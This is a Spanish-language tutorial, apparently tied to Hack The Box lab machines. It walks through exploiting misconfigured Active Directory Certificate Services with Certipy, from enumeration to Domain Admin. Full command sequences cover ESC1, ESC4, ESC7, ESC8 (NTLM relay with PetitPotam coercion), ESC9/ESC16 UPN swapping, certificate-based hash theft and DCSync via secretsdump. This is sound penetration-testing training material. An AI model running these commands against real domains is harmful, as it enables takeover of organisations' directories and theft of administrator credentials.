ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16)

Encontrar plantillas y CA vulnerables de ADCS con Certipy y explotar ESC1, ESC4, ESC7, ESC8, ESC9 y ESC16, con el error típico de cada caso.

· 4 min de lectura

Active Directory Certificate Services (ADCS) es la PKI de Windows: emite certificados para que usuarios y equipos se autentiquen. Un certificado vale como una contraseña (con él pides un TGT por PKINIT y obtienes el hash NT de la cuenta) y dura años, aunque la contraseña cambie. Si una plantilla está mal configurada, puedes pedir un certificado en nombre de otro usuario, por ejemplo el administrador. Es la técnica de ADCS, y aparece en 17 máquinas del catálogo, casi todas recientes.

1. ¿Hay una CA?

nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' -M adcs
certipy find -u [email protected] -p 'Contraseña1' -dc-ip 10.10.10.10 -vulnerable -stdout

certipy find lista la CA, las plantillas y, con -vulnerable, marca cada problema con su código ESC. Lee siempre el bloque [!] Vulnerabilities y las líneas Enrollment Rights: un ESC que solo pueden usar los administradores no te sirve.

Nota

Los comandos son de Certipy 5. Si usas la versión 4, cambian algunos detalles (-save-old en vez de -write-default-configuration, por ejemplo). certipy -h te lo dice.

2. ESC1: la plantilla deja elegir el usuario

La plantilla tiene Enrollee Supplies Subject (el solicitante pone el nombre), Client Authentication y tu usuario (o un grupo tuyo, como Domain Users) puede inscribirse.

certipy req -u [email protected] -p 'Contraseña1' -dc-ip 10.10.10.10 -target dc01.corp.local \
  -ca CORP-DC01-CA -template PlantillaVuln -upn [email protected] -sid S-1-5-21-XXXX-500
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:2b576acbe6...

El -sid (el SID del administrador, que acaba en -500) hace falta en dominios con el mapeo fuerte de certificados activado, que es lo normal desde 2025. Sácalo con nxc ldap ... --get-sid o impacket-lookupsid.

Si la plantilla solo deja inscribirse a equipos (Domain Computers), crea uno: cualquier usuario puede crear hasta 10 por defecto (MachineAccountQuota).

impacket-addcomputer corp.local/usuario:'Contraseña1' -computer-name 'PWN$' -computer-pass 'Pwn123!' -dc-ip 10.10.10.10
certipy req -u 'PWN$'@corp.local -p 'Pwn123!' ... -template PlantillaVuln -upn [email protected]

Es lo que pasa en Authority. En Escape, ESC1 llega después de capturar un hash desde MSSQL.

3. ESC4: puedes modificar la plantilla

Tienes permisos de escritura sobre la plantilla (GenericAll, WriteDacl, WriteOwner, WriteProperty). La conviertes en ESC1, la explotas y la dejas como estaba:

certipy template -u [email protected] -p 'Contraseña1' -dc-ip 10.10.10.10 -template PlantillaVuln -write-default-configuration
certipy req ... -template PlantillaVuln -upn [email protected] -sid S-1-5-21-XXXX-500

Certipy guarda la configuración original en un fichero JSON para restaurarla. Es la vía de EscapeTwo.

4. ESC7: eres gestor de la CA

Con ManageCA puedes hacerte "oficial" (ManageCertificates) y aprobar a mano solicitudes que la CA rechazaría. El truco usa la plantilla SubCA:

certipy ca -u [email protected] -p 'Contraseña1' -dc-ip 10.10.10.10 -ca CORP-DC01-CA -add-officer usuario
certipy ca ... -ca CORP-DC01-CA -enable-template SubCA
certipy req ... -ca CORP-DC01-CA -template SubCA -upn [email protected]    # falla, pero apunta el Request ID
certipy ca ... -ca CORP-DC01-CA -issue-request 13
certipy req ... -ca CORP-DC01-CA -retrieve 13

Lo practicas en Manager.

5. ESC8: relay a la inscripción web

Si la CA tiene la inscripción por web (/certsrv/) por HTTP y sin protección, puedes retransmitir la autenticación NTLM de un DC hacia ella y obtener un certificado del DC. Con él haces DCSync.

certipy relay -target http://ca.corp.local/certsrv/certfnsh.asp -template DomainController
# En otra terminal, fuerza al DC a autenticarse contra ti (guía de NTLM relay y coerción)
python3 PetitPotam.py -u usuario -p 'Contraseña1' -d corp.local 10.10.14.5 dc01.corp.local
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
impacket-secretsdump -hashes :<hash_de_DC01$> 'corp.local/DC01$'@10.10.10.10 -just-dc-user Administrator

Tienes el detalle de la coerción en la guía de NTLM relay.

6. ESC9, ESC10 y ESC16: cambiar el UPN

Estos tres comparten idea: el certificado no lleva (o el DC no comprueba) el SID de la cuenta, solo su nombre (UPN). Si puedes cambiar el UPN de una cuenta que controlas (con GenericWrite sobre ella), le pones el del administrador, pides el certificado, y se lo devuelves:

certipy account update -u [email protected] -p 'Contraseña1' -dc-ip 10.10.10.10 -user victima -upn administrator
certipy req -u [email protected] -hashes :<hash_de_victima> -dc-ip 10.10.10.10 -ca CORP-DC01-CA -template User
certipy account update -u [email protected] -p 'Contraseña1' -dc-ip 10.10.10.10 -user victima -upn [email protected]
certipy auth -pfx administrator.pfx -domain corp.local -dc-ip 10.10.10.10

El hash de victima suele salir antes con Shadow Credentials. ESC9 es una plantilla con NoSecurityExtension; ESC16, toda la CA sin la extensión de seguridad. Lo ves en Certified (ESC9) y Fluffy (ESC16).

Errores típicos

  • KDC_ERR_PADATA_TYPE_NOSUPP en certipy auth: el DC no tiene certificado para PKINIT. Usa certipy auth -pfx ... -ldap-shell y autentícate por LDAPS (Schannel) para hacer cambios desde ahí.
  • CERTSRV_E_TEMPLATE_DENIED: tu usuario no tiene permiso de inscripción en esa plantilla. Vuelve a mirar Enrollment Rights.
  • object SID mismatch o el certificado sale a nombre de tu usuario: falta el -sid con mapeo fuerte, o la CA ignora el UPN que pides.
  • KRB_AP_ERR_SKEW: la hora, como siempre en Kerberos.

Y después

Con el hash del administrador, DCSync o entra directamente con pass-the-hash. La chuleta de Active Directory tiene los comandos de todos los ESC del 1 al 16.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

ADCS (certificados) 17 máquinas

Ver las 17 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo